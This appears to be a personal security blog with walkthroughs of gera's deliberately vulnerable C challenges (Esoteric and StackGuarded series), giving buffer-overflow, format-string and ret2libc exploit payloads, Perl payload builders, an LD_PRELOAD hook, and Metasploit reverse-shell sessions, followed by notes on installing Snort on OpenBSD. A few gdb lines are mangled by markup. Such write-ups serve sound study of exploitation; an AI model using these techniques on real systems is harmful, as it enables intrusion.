Thursday, December 27, 2012

Esoteric #5

gera's Esoteric #5. 

/* e5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* is this possible?                                         */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        perror(argc[2]);
        while(1);
}


Needs to be compiled statically to get anywhere. It takes 268 bytes to overflow buf in a useful way.

(gdb) run `perl -e 'print "A" x 268 . "BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es5/es5 `perl -e 'print "A" x 268 . "BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0  0x42424242 in ?? ()
#1  0x08048a1d in _IO_new_fdopen (fd=5, mode=0x80a2196 "w+") at iofdopen.c:121
#2  0x08048795 in perror (s=0x0) at perror.c:73
#3  0x0804820e in main (argv=2, argc=0xbffffa64) at es5.c:10
#4  0x080482fa in __libc_start_main (main=0x80481e0 <main>, argc=2,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x8092620 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 is the same function pointer as in Esoteric #3, this time via perror(). 

(gdb) x/x buf+268
0x80a8d4c <__libc_internal_tsd_get>:    0x42424242


Exploit. 

[dennis@localhost es5]$ export ES5=`perl sc.pl`
[dennis@localhost es5]$ gcc -o ev5 ev5.c
[dennis@localhost es5]$ ./ev5
ES5 is at 0xbffffc28
[dennis@localhost es5]$ ./es5 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.32:49773) at 2012-12-27 14:58:46 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es5

Esoteric #4


gera's Esoteric #4. 

/* e4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell?                                           */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        printf("live at 100%!");
        while(1);
}


As with the last one, this needs to be compiled statically to make progress.

[dennis@localhost es4]$ gcc -static -ggdb -o es4 es4.c
[dennis@localhost es4]$


1409 bytes are required to overflow buf in a useful way. 

(gdb) run `perl -e 'print "A" x 516 . "BBBB" . "C" x 889'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es4/es4 `perl -e 'print "A" x 516 . "BBBB" . "C"
x 889'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0  0x42424242 in ?? ()
#1  0x080486a4 in printf (format=0x808db88 "live at 100%!") at printf.c:33
#2  0x0804820b in main (argv=2, argc=0xbffff594) at es4.c:10
#3  0x080482f6 in __libc_start_main (main=0x80481e0 <main>, argc=2,
    ubp_av=0xbffff594, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffff58c) at ../sysdeps/generic/libc-start.c:129


At buf+516 we're in the middle of a data structure called __printf_arginfo_table. Per a comment in  ~/glibc-2.2.4/stdio-common/reg-printf.c this is an "Array of functions indexed by format character." I didn't trace the libc code, but I'm assuming that buf+516 points to the corresponding array index if the format character is "!". 

(gdb) x/x buf+516
0x80a3b84 <__printf_arginfo_table+132>: 0x42424242


Exploit. 

[dennis@localhost es4]$ export ES4=`perl sc.pl`
[dennis@localhost es4]$ ./ev4
ES4 is at 0xbffffc28

[dennis@localhost es4]$ ./es4 `perl -e 'print "A" x 516 . "\x28\xfc\xff\xbf" . "C" x 889'`

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49768) at 2012-12-27 14:30:30 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es4

[*] Command shell session 1 closed.  Reason: Died from EOFError

Esoteric #3 Redux

An old Chinese forum post reminded me that I didn't look at a statically compiled version of gera's Esoteric #3. 

[dennis@localhost es3]$ gcc -static -ggdb -o es3 es3.c
[dennis@localhost es3]$


Things are a bit different this time. 

(gdb) run `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb) bt
#0  0x45454545 in ?? ()
#1  0x0804a36b in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3350
#2  0x0804a0ab in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3331
#3  0x0804866d in __add_to_environ (name=0x808db88 "ABO",
    value=0xbffffc71 "ZZZZ", combined=0x0, replace=1)
    at ../sysdeps/generic/setenv.c:234
#4  0x080488b2 in __setenv (name=0x808db88 "ABO", value=0xbffffc71 "ZZZZ",
    replace=1) at ../sysdeps/generic/setenv.c:263
#5  0x08048215 in main (argv=3, argc=0xbffffa64) at es3.c:10
#6  0x080482fe in __libc_start_main (main=0x80481e0 <main>, argc=3,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 a useful function pointer get overwritten. 

(gdb) break 10
Breakpoint 3 at 0x80481fe: file es3.c, line 10.
(gdb) run `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ

Breakpoint 3, main (argv=3, argc=0xbffffa64) at es3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x buf+264
0x80a3a88 <__libc_internal_tsd_set>:    0x41414141
(gdb)
0x80a3a8c <__libc_internal_tsd_get>:    0x42424242


(gdb) print __libc_internal_tsd_get
$2 = (void *(*)()) 0


As can be seen from the earlier backtrace, setenv() eventually calls realloc(). I didn't trace the libc code, but there has to be a code path from realloc() where it calls __libc_internal_tsd_get().

Onto the exploit. I start off with some shellcode in the environment. (I could of probably taken advantage of the ABO variable from the program itself, but it's easier to find the address this way.) 

[dennis@localhost es3]$ export ES3=`perl sc.pl`
[dennis@localhost es3]$ ./ev3
ES3 is at 0xbffffc28


The rest looks like this. 

[dennis@localhost es3]$ ./es3 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49704) at 2012-12-26 23:40:41 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es3



Wednesday, December 26, 2012

Esoteric #3

gera's Esoteric #3.

/* e3.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat                            */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        setenv("ABO",argc[2],1);
        while(1);
}

I might of cheated a bit with my solution, but I feel that maybe when this challenge was written that the version (even older than the glibc 2.2.4 I'm using for these examples) of setenv() used was more prone to memory corruption.

When ABO is not initially set, here's what the environ pointer and the area near the end of buf looks like after the strcpy() overflow.

Breakpoint 1, main (argv=3, argc=0xbffff974) at e3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x environ
0xbffff984:     0xbffffc76

...
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049790:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

environ still points to the stack, and buf has been overflown with As. Here is after setenv().

Breakpoint 2, main (argv=3, argc=0xbffff974) at e3.c:11
11              while(1);
(gdb) x/x environ
0x8049788:      0xbffffc76

...
0x8049740 <buf+192>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000061      0xbffffc76      0xbffffc8b
0x8049790:      0xbffffcaa      0xbffffccc      0xbffffcd8      0xbffffe9b
0x80497a0:      0xbffffeba      0xbffffed6      0xbffffeeb      0xbffffef6
0x80497b0:      0xbfffff05      0xbfffff0d      0xbfffff19      0xbfffff29
0x80497c0:      0xbfffff37      0xbfffff48      0xbfffff56      0xbfffff68
0x80497d0:      0xbfffff73      0xbfffffa6      0x080497e8      0x00000000
0x80497e0:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x80497f0:      0x41414100      0x00000019      0x080497e8      0x00000000
0x8049800:      0x00000000      0x41414141      0x41414141      0x000007f9
0x8049810:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049820:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049830:      0x41414141      0x41414141      0x41414141      0x41414141
...

The environ pointer now points out to heap land (0x8049788). At this address, the environment has been copied from the stack and placed into some malloc()'d memory. At 0x80497d8, in the env array, is the pointer to the new ABO variable--which also resides in a malloc() chunk.

(gdb) x/s 0x080497e8
0x80497e8:       "ABO=BBBB"

When ABO is already initialized, after the strcpy(), things are the same. But, after the setenv().


(gdb) x/x environ
0xbffff964:     0xbffffc6d
(gdb)
0xbffff968:     0x08049788
(gdb)
0xbffff96c:     0xbffffc8b

The environ pointer still points to stack space. Now just the second entry in the env array points to heap land. It looks like this.

(gdb) x/s 0x08049788
0x8049788:       "ABO=BBBB"

So, setenv() just replaces the original ABO pointer with a pointer to malloc()'d memory.

Near the end of buf it looks like.

...
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x8049790:      0x41414100      0x00000019      0x08049788      0x00000000
0x80497a0:      0x00000000      0x41414141      0x41414141      0x00000859
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

Regardless of how, what, or with what I overflowed buf, I was unable to corrupt the setenv() data structures in my favor.

I got a shell by creating my own setenv() function in a shared object and hooking it in via LD_PRELOAD.

dennis@ipa:~/es3$ cat setenv.c                                               
#include <stdlib.h>

int setenv(const char *name, const char *value, int replace)
{
        system(value);
}

[dennis@localhost es4]$ gcc -shared -o setenv.so setenv.c
[dennis@localhost es3]$ LD_PRELOAD=./setenv.so ./e3 foobar /bin/sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ pwd
/home/dennis/es3
sh-2.05$ exit
exit

[dennis@localhost es3]$

Sunday, December 9, 2012

Esoteric #2

gera's Esoteric #2.

/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
 *
        char buf[100];

        while (1) {
                scanf("%100s",buf);
                system(buf);
        }

 * But, you cannot execute code in stack.
 */

int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
}

I started by sticking the scanf() format string into the environment and getting its address.

shell$ export ES2=%100s
shell$ ./ev2
ES2 is at 0xbffffc83

I used a chained ret2libc exploit to avoid executing code from the stack. The buffer looks like this.

[268 As][scanf addr][pop/pop/ret addr][fmt str addr + 1][buf addr][system addr][exit addr][buf addr]

The pop/pop/ret widget is used to adjust the stack pointer and skip over the fmt str and buf addresses on the stack. This aligns everything so ret will load system()'s address into EIP.

1 is added to the fmt str address to skip over the '=' sign in the environment variable.

Here's how the addresses were gathered.

(gdb) print scanf
$1 = {int (char *)} 0x4008d274 <scanf>
(gdb) x/i 0x080484bd
0x80484bd <__do_global_ctors_aux+45>:   pop    %ebx
(gdb)
0x80484be <__do_global_ctors_aux+46>:   pop    %ebp
(gdb)
0x80484bf <__do_global_ctors_aux+47>:   ret
(gdb) x/s 0xbffffc84
0xbffffc84:      "%100s"
(gdb) x/x 0xbffffc94
0xbffffc94:     0x6c006469
(gdb) x/s 0xbffffc94
0xbffffc94:      "id"
(gdb) print system
$2 = {<text variable, no debug info>} 0x40076584 <__libc_system>
(gdb) print exit
$4 = {void (int)} 0x400583a4 <exit>

I found the pop/pop/ret widget via.

shell$ objdump -d --section='.text' es2 | grep ret -B 3 | grep
pop -A 3 | more

Here is everything in action.

(gdb) run `perl -e 'print "A" x 268 . "\x74\xd2\x08\x40" . "\xbd\x84\x04\x08" .
"\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65\x07\x40" . "\xa4\x83\x05\x40
" . "\x94\xfc\xff\xbf"'`
Starting program: /home/dennis/es2/es2 `perl -e 'print "A" x 268 . "\x74\xd2\x08
\x40" . "\xbd\x84\x04\x08" . "\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65
\x07\x40" . "\xa4\x83\x05\x40" . "\x94\xfc\xff\xbf"'`
sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ ls
es2  es2.c  ev2  ev2.c  notes  out
sh-2.05$ exit
exit

Program exited normally.

I feel I cheated a bit by launching the shell, but I spent a lot of time trying to get the while(1) loop implemented in either a recursive main() call or via ROP widgets without success. Using the recursive main() call I was able to get 2 iterations before the stack got too corrupted (from the address chains). For the ROP technique, I wasn't able to find proper widgets to manipulate ESP or EBP in a way to cause a loop.

Monday, November 19, 2012

Esoteric #1

gera's Esoteric #1


/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman!                                   */

int main(int argv,char **argc) {
                      /* Can you do it changing the stack?  */
                      /* Can you do it without changing it? */
        printf(argc[1]);
        while(1);
}

As usual, I start off by sticking a nop sled and some shellcode into an environment variable.


[dennis@localhost e1]$ export ES1=`perl sc.pl`
[dennis@localhost e1]$ gcc -o ev1 ev1.c
[dennis@localhost e1]$ ./ev1
ES1 is at 0xbffffc11


To visualize some of the values, I'm going to cause a coredump and load it up into gdb.


[dennis@localhost e1]$ ./es1 '%.64529x%104$n%.50158x%105$n' `perl -e 'print "\x4c\xfa\xff\xbf" . "\x4e\xfa\xff\xbf" . "A" x 1'`
...
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
Segmentation fault (core dumped)
[dennis@localhost e1]$ gdb es1 core

I make sure the nop sled and shellcode are in place.
(gdb) x/i 0xbffffc11
0xbffffc11:     nop
(gdb)
0xbffffc12:     nop


The format string vulnerability provides a 4-byte-write-anything-anywhere primitive. The anything will be the address of my payload (0xbffffc11) and the anywhere will be a saved return address on printf()'s stack frame.

There are 4 conversion specifiers in the format string. The "%.64529x" increments printf()'s character counter to 0xfc11 characters and prints whatever is stored on the stack at printf()'s second parameter. "%104$n" writes the current character counter value to the 104th printf() parameter on the stack. "%.50158x" again increments the counter--0x1bfff-64529 characters (see notes from Format Strings: fs5) and prints whatever is stored on the stack at printf()'s third parameter. Finally, "%105$n" writes the new counter value to the 105th parameter on the stack.

The following shows the second command line argument in memory.


(gdb) x/x argc[2]
0xbffffbef:     0xbffffa4c
(gdb)
0xbffffbf3:     0xbffffa4e

As can be seen, I've stored 2 addresses there that are offset by 2 bytes (0xbffffa4c and 0xbffffa4e). The memory addresses these are stored at will end up being the 104th and 105th parameters to printf() and are offset for the format string exploit.

At the code level, printf() is just a wrapper function for vfprintf(stdout, format, ...). So the call stack will be main() -> printf() -> vfprintf(). Since all the work will be done in vfprintf()'s stack frame, printf()'s frame will be relatively stable and its saved return address back to main() will be a good target to overwrite--main()'s return address is a poor choice because the while(1) loop prevents main() from ever returning.


(gdb) info frame
Stack level 1, frame at 0xbffffa48:
 eip = 0x40086d2c in printf (printf.c:33); saved eip 0x8048476
 called by frame at 0xbffffa68, caller of frame at 0xbffffa28
 source language c.
 Arglist at 0xbffffa48, args: format=0xbffffbd2 "%.64529x%104$n%.50158x%105$n"
 Locals at 0xbffffa48, Previous frame's sp is 0x0
 Saved registers:
  ebx at 0xbffffa44, ebp at 0xbffffa48, eip at 0xbffffa4c
(gdb)

printf()'s saved return address back to main() is stored at 0xbffffa4c.

The final piece is determining the parameter offsets for printf() that will point to the the writeable address (printf()'s saved return address) stored at the second command line argument.

By changing the "%n" format specifiers to "%x" the exploit goes from a memory overwrite to a information leak. Using this leak and guessing offsets helped me track down the proper offsets.

By aligning everything properly, it looks like this.


[dennis@localhost e1]$ ./es1 '%.64529x%104$n%.50158x%105$n' `perl -e 'print "\x4c\xfa\xff\xbf" . "\x4e\xfa\xff\xbf"'`
...
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000[dennis@localhost e1]$

---
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.0.32

Sunday, September 9, 2012

StackGuarded #6

gera's StackGuarded #6.
/* sg6.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int get_username(char *user) {
        char temp[80];

        decrypt(temp,user);

        return strdup(temp);
}

int main(int argv, char **argc) {
    char *user_name;

    user_name = get_username(argc[1]);
    printf("User name is '%s'\n",user_name);
    return 0;
}
Same caveats.
The overview for this exploit is to use the buffer overflow in get_username() to control main()'s ebp and user_name variable. ebp is adjusted so that user_name will point to printf()'s GOT entry. On return from get_user(), the GOT entry will be overwritten with a pointer from strdup(). This pointer will point to a jmp statement which, in turn, will jump to shellcode in the environment.
Information gathering.
[dennis@localhost sg6]$ objdump -R sg6 | grep printf
080495ec R_386_JUMP_SLOT   printf

(gdb) x/x &user_name
0xbffffab4:     0x080496e8
(gdb) x/x $ebp - 4
0xbffffab4:     0x080496e8

[dennis@localhost sg6]$ export SG6=`perl sc.pl`
[dennis@localhost sg6]$ gcc -o ev6 ev6.c
[dennis@localhost sg6]$ ./ev6 `perl -e 'print "A" x 79'`
SG6 is at 0xbffffc52
The following was determined: printf()'s GOT entry, user_name's relative offset from ebp, location of the shellcode in the environment. argv1.pl looks like this.
#!/usr/bin/perl

use warnings;
use strict;

my $nop = "\x90" x 3;
# jmp from strdup buf to SG6 env var, bruteforce calculated
my $jmp = "\xe9\x62\x65\xfb\xb7";
my $filler = "\x90" x (79 - length($nop) - length($jmp));
my $argv1 = $nop.$jmp.$filler;
This will overflow get_username()'s buffer into main()'s saved ebp allowing complete control. The $jmp is a jmp statement to get from the heap (from strdup()) to the shellcode in the environment (on the stack.) Exploit.
(gdb) break 11
Breakpoint 1 at 0x80484e5: file sg6.c, line 11.
(gdb) break 19
Breakpoint 2 at 0x8048511: file sg6.c, line 19.
(gdb) run `perl argv1.pl`
Starting program: /home/dennis/sg6/sg6 `perl argv1.pl`

Breakpoint 1, get_username (
    user=0xbffffba9 "\220\220\220ébeû·", 'A' ) at sg6.c:12
12              return strdup(temp);
(gdb) info frame
Stack level 0, frame at 0xbffffa28:
 eip = 0x80484e5 in get_username (sg6.c:12); saved eip 0x804850b
 called by frame at 0xbffffa38
 source language c.
 Arglist at 0xbffffa28, args:
    user=0xbffffba9 "\220\220\220ébeû·", 'A' 
 Locals at 0xbffffa28, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) set {int}0xbffffa28 = 0x080495ec + 4 <-- 0x080495ec="" 0x80495ec="" 19="" 2="" argc="0x1)" argv="0," at="" breakpoint="" c="" continuing.="" ebp="" entry="" gdb="" got="" is="" main="" manually="" mimic="" n="" name="" overwrite="" printf="" s="" ser="" sg6.c:19="" user_name="" x="">:   0x080496e8 <-- 0x80496e8:="" 0x80496e9:="" 0x80496ea:="" 0x80496eb:="" 0xbffffc52="" gdb="" i="" in="" jmp="" nop="" pre="" sg6="" shellcode="" user_name="" x="">


StackGuarded #5

gera's StackGuarded #5.
/* sg5.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int need_to_check = 1;  // XXX: Add global configuration

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

int main(int argv, char **argc) {
    int user_ok;

    user_ok = check(argc[1]);
    if (!user_ok && need_to_check) {
        printf("fail !\n");
        exit(1);
    }
    printf("win !\n");
    exit(0);
}
Same caveats as #4. I also added two printf()s to visualize win/fail.
I don't believe you can get code execution here, but you can "win" with an incorrect password. The quick overview is to use the buffer overflow in check() to control main()'s ebp pointer. With this control comes control of the user_ok variable. This variable just needs to be set to 1 for a win.
Information gathering.
(gdb) x/x &need_to_check
0x804962c :      0x00000001

(gdb) x/x &user_ok
0xbffffb04:     0x00000000
(gdb) x/x $ebp - 4
0xbffffb04:     0x00000000
need_to_check is out in data land and has a value of 1. user_ok is on main()'s stack frame and it is 4 away from main()'s ebp. Exploit.
(gdb) break 22
Breakpoint 1 at 0x804855b: file sg5.c, line 22.
(gdb) run `perl -e 'print "A" x 80'`
Starting program: /home/dennis/sg5/sg5 `perl -e 'print "A" x 80'`

Breakpoint 1, main (argv=24641422, argc=0xbffffad0) at sg5.c:22
22          if (!user_ok && need_to_check) {
(gdb) x/x &user_ok
0xbffff9fc:     0x00000000 

(gdb) set $ebp = 0x0804962c + 4
(gdb) x/x &user_ok
0x804962c :      0x00000001
(gdb) c
Continuing.
win !

Program exited normally.
I overflow check()'s buffer into main()'s saved ebp (remember above caveats). On return, user_ok is set to 0 and on its way to a "fail". But, if main()'s ebp is overwritten so that it points 4 bytes away from need_to_check, user_ok (ebp - 4) will actually point to need_to_check, which happens to be 1 and victory is in hand!

Saturday, September 8, 2012

StackGuarded #4

gera's StackGuarded #4.
/* sg4.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

// XXX: Add real support for internationalization
#define LANG_MSG(dest,pattern) strcpy(dest,pattern);

int main(int argv, char **argc) {
    char msg[100];

    LANG_MSG(msg,"Get out of here!\n");
    if (!check(argc[1])) {
            printf(msg);
            exit(1);
    }
    exit(0);
}
There are a few more caveats here. First, I believe that when gera wrote this challenge, StackGuard was using its terminator canary, which looks like "\x00\x0a\xff\x0d", by default. The idea is that these four characters should terminate any string handling function (gets(), strcpy(), etc.) prematurely. This means that the canary can still be overwritten, but the string would terminate before it got to the saved EIP.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
Starting program: /home/dennis/sg4/sg4 `perl -e 'print "A" x 84'`

Breakpoint 7, check (user=0xbffffba4 'A' ) at sg4.c:14
14      }
(gdb) info frame
Stack level 0, frame at 0xbffff9bc:
 eip = 0x804853b in check (sg4.c:14); saved eip 0x8048500
 called by frame at 0x41414141
 source language c.
 Arglist at 0xbffff9bc, args: user=0xbffffba4 'A' 
 Locals at 0xbffff9bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff9bc, eip at 0xbffff9c0
(gdb) x/x 0xbffff9bc
0xbffff9bc:     0x41414141 <-- 0x08048500="" 0xbffff9c0:="" a="" canary="" ebp="" gdb="" is="" main="" pre="" pretend="" s="" saved="" terminator="" this="">

The gist of this exploit is to use the buffer overflow in check() to move main()'s ebp pointer, to control the msg variable. msg will point to a format string crafted in argv[2] allowing a write 4 bytes to any address primitive.
To start, I stick some shellcode into an environment variable and get its address. Stack spacing/alignment is important so I duplicate the exploit's arguments. 


[dennis@localhost sg4]$ export SG4=`perl sc.pl`
[dennis@localhost sg4]$ ./ev4 `perl argv1.pl` `perl argv2.pl`
SG4 is at 0xbffffc52
I'll also need exit()'s GOT address.
[dennis@localhost sg4]$ objdump -R sg4 | grep exit
08049658 R_386_JUMP_SLOT   exit
Here is argv1.pl
#!/usr/bin/perl

use warnings;
use strict;

my $filler1 = "A" x 1;
#my $exit_addr1 = "BBBB";
my $exit_addr1 = "\x58\x96\x04\x08";
#my $exit_addr2 = "CCCC";
my $exit_addr2 = "\x5a\x96\x04\x08";
my $filler2 = "A" x (80 - length($filler1) - length($exit_addr1) - length($exit_
addr2));
my $argv1 = $filler1.$exit_addr1.$exit_addr2.$filler2;
print $argv1;
argv1 overflows the buffer in check(). Note, without caveat number two, this would overwrite the saved ebp with an address that points to the format string in argv[2] (next.) In the beginning of this buffer, I place addresses that point to the low and high bytes of exit()'s GOT entry. argv2.pl contains the format string and it looks like this
#!/usr/bin/perl

use warnings;
use strict;

my $format = "%.64594u%124\$n%.50093u%125\$n";
my $filler3 = "C" x (100 - length($format));
my $argv2 = $format.$filler3;

print $argv2;
So that offsets didn't change during the development of the format string, I used $filler3 to setup a static "buffer" to work in. Remembering that the shellcode is at 0xbffffc52 the precision values for the %u modifiers are calculated like this
(gdb) print /d 0xfc52
$1 = 64594
(gdb) print /d 0x1bfff - 64594
$2 = 50093
The direct argument offsets, 124 and 125, point to the two exit() addresses from argv[1]. They were bruteforce calculated in gdb
(gdb) x/x $esp + (125 * 4) 
0xbffffb44:     0x08049658
(gdb) x/x $esp + (124 * 4)
0xbffffb48:     0x0804965a
With this setup, the printf(msg) call turns into
printf("%.64594u%124\$n%.50093u%125\$n", junk1, exit_addr1, junk2, exit_addr2)
junk1 and junk2 are taken off the real stack, whereas the two exit_addrs are taken from argv[1]. Exploit.
In the below exploit, ebp is set like
set $ebp = 0xbffffb94 + 112
0xbffffb94 is the start of argv[2], which was bruteforce calculated in gdb. 112 is the offset msg is from ebp.
(gdb) break 24
Breakpoint 6 at 0x804856d: file sg4.c, line 24.
(gdb) run `perl argv1.pl` `perl argv2.pl`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/sg4/sg4 `perl argv1.pl` `perl argv2.pl`

Breakpoint 6, main (argv=1094795585, argc=0x41414141) at sg4.c:24
24                  printf(msg);
(gdb) set $ebp = 0xbffffb94 + 112 <-- 0xbffffb94:="" 2="" 72="" caveat="" ebp.="" gdb="" manually="" msg="" n="" repeats="" s="" set="" times="" u="" x="">
(gdb) c

...

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000544503
151C
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001e60 in _start () at rtld.c:158
158     rtld.c: No such file or directory.
        in rtld.c
(gdb) fg
Continuing.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444 
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.32:50115) at 2012-09-08 23:19:05 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg4
^C





Wednesday, September 5, 2012

Squert on OpenBSD

For Paul.

So that I can do it again with less hate and alcohol, these are my notes on installing Squert on OpenBSD 5.1. There is room for improvement, feedback welcomed.

Snort

$ sudo pkg_add snort-2.8.6p1

You don't need the mysql flavor.

$ ftp http://rules.emergingthreats.net/open/snort-2.8.6/emerging.rules.tar.gz
$ tar -zxvf emerging.rules.tar.gz
$ cd rules/
$ ls emerging*.rules | awk '{print "include $RULE_PATH/`hostname -s`" $1}' > $ emerging.conf
$ sudo mkdir /etc/snort/rules/`hostname -s`
$ sudo cp emerging-*.rules /etc/snort/rules/`hostname -s`/
$ sudo cp emerging.conf /etc/snort/
$ sudo cp sid-msg.map /etc/snort/
$ sudo cp classification.config /etc/snort/
$ sudo cp reference.config /etc/snort/
$ cd /var/snort/
$ sudo rmdir log
$ sudo mkdir `hostname -s`
$ sudo chown _snort:_snort `hostname -s`/

The following edits should be made to /etc/snort/snort.conf

var HOME_NET external_ip/32
var EXTERNAL_NET !$HOME_NET
include emerging.conf
Comment out the VRT includes

Everything can be tested with

$ sudo /usr/local/bin/snort -c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/snort/`hostname -s`/


/etc/rc.d/snort should be created like

#!/bin/sh

daemon="/usr/local/bin/snort"

. /etc/rc.d/rc.subr

rc_cmd $1

/etc/rc.conf.local should be edited

snort_flags="-c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/
snort/`hostname -s` -D"

pkg_scripts="snort"

MySQL

$ sudo pkg_add mysql-server
$ sudo /usr/local/bin/mysql_install_db
$ sudo /etc/rc.d/mysqld start
